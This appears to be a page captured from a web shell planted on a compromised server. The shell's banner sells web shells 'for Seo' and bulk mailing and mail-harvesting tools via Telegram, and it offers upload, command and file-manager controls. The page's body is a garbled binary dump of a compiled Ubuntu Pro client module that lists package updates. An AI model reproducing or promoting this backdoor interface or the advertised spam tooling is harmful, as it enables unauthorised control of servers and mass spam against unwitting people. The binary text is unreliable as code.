__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

Uٵg�����SSKJr SSKJr SSKJr SSKJr SSKJ	r	J
r
JrJrJ
r
 SSKJrJrJrJr "SS\	5r"S	S
\	5r"SS\	\5rS
\4SjrS\S
\4Sjr\"SS\SS9rSSS\/SSS.rg)�)�List)�APIEndpoint)�AdditionalInfo)�UAConfig)�
DataObject�Field�IntDataValue�StringDataValue�	data_list)�create_updates_list�filter_updates� get_installed_packages_by_origin�get_ua_infoc
�|�\rSrSr\"S\SS9\"S\SS9\"S\SS9\"S	\S
S9\"S\SS9/rS\S\S\S	\S\4
S
jrSr	g)�
UpdateSummary��num_updatesz Total count of available updates��doc�num_esm_apps_updatesz,Count of available updates from ``esm-apps``�num_esm_infra_updatesz-Count of available updates from ``esm-infra``�num_standard_security_updatesz8Count of available updates from the ``-security`` pocket�num_standard_updatesz7Count of available updates from the ``-updates`` pocketc�@�XlX lX0lX@lXPlg�N�rrrrr)�selfrrrrrs      �H/usr/lib/python3/dist-packages/uaclient/api/u/pro/packages/updates/v1.py�__init__�UpdateSummary.__init__0s"��'��$8�!�%:�"�-J�*�$8�!�)rrrrrN)
�__name__�
__module__�__qualname__�__firstlineno__rr	�fields�intr�__static_attributes__�r!rrrs���
��<�-O�	
�	�"��>�	
�
	�#��?�	
�
	�+��J�	
�
	�"��I�	
�'�F�49��9�"�9� #�	9�
(+�9�"�
9r!rc��\rSrSr\"S\SS9\"S\SS9\"S\SS9\"S	\S
S9\"S\SS9\"S
\SS9/rS\S\	S\	S	\	S\	S
\	4Sjr
Srg)�
UpdateInfo�?�
download_sizez%Download size for the update in bytesr�originz#Where the update is downloaded from�packagez!Name of the package to be updated�provided_byz!Service which provides the update�statusz0Whether this update is ready for download or not�versionzVersion of the updatec�L�XlX lX0lX@lXPlX`lgr�r-r.r/r0r1r2)rr-r.r/r0r1r2s       rr�UpdateInfo.__init__[s$��+������&�����r!r4N)r"r#r$r%rr	r
r&r'�strrr(r)r!rr+r+?s���
���7�	
�
	���5�	
�
	���,O�	
�	���3�	
�
	���B�	
�
	�i��.E�F�1�F�6������	�
���
��r!r+c�X�\rSrSr\"S\SS9\"S\"\5SS9/rS\S\	\4Sjr
Srg	)
�PackageUpdatesResult�l�summaryz Summary of all available updatesr�updatesz&Detailed list of all available updatesc��XlX lgr�r:r;)rr:r;s   rr�PackageUpdatesResult.__init__xs�����r!r=N)r"r#r$r%rrrr+r&rrr(r)r!rr8r8lsI��
��}�*L�	
�	���j�!�8�	
�		�F��
���Z�8H�r!r8�returnc�(�[[55$r)�_updatesrr)r!rr;r;}s���H�J��r!�cfgc�v�[U5n[5n[US5n[X15n[	US5n[	US5n[	US5n[	US5n[UU-U-U-UUUUS9n	UV
s/sH#n
[
U
SU
SU
S	U
S
U
SU
SS
9PM% nn
[X�S9$s sn
f)zl
This endpoint shows available updates for packages in a system, categorised
by where they can be obtained.
�allzesm-appsz	esm-infrazstandard-securityzstandard-updatesrr-r.r/�service_namer1r2r4r=)rrr
r�lenrr+r8)rB�ua_info�packages�upgradable_versions�update_listrrrrr:�updater;s            rrArA�s��
�#��G�/�1�H�(��%��9��%�&9�C�K��2�:�>�?��� 3�K� @�A��$'��/�0�%�!��2�3E�F�G���(�
� �
'�(���2�3�&C�1�	�G�&"�
�"�F�	� ��1��(�#��9�%��~�.��(�#��9�%�
	
�"��
� ��A�A��
s�*B6�v1�PackageUpdatesN)r2�name�fn�options_clsz27.12FzP
from uaclient.api.u.pro.packages.updates.v1 import updates

result = updates()
z!pro api u.pro.packages.updates.v1a�
{
    "summary": {
        "num_updates": 1,
        "num_esm_apps_updates": 2,
        "num_esm_infra_updates": 3,
        "num_standard_security_updates": 4,
        "num_standard_updates": 5,
    },
    "updates": [
        {
            "download_size": 6,
            "origin": "<some site>",
            "package": "<package name>",
            "provided_by": "<service name>",
            "status": "<update status>",
            "version": "<updated version>",
        },
    ]
}
)�
introduced_in�requires_network�example_python�result_class�
exceptions�example_cli�example_json)�typingr�uaclient.api.apir�uaclient.api.data_typesr�uaclient.configr�uaclient.data_typesrrr	r
r�uaclient.security_statusrr
rrrr+r8r;rA�endpoint�_docr)r!r�<module>r`s����(�2�$�����'9�J�'9�T*��*�Z�:�~��" �%� �'B�(�'B�3�'B�T��	���	�����
)��6�� �r!

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 175 B 0644
v1.cpython-313.pyc File 5.63 KB 0644
Filemanager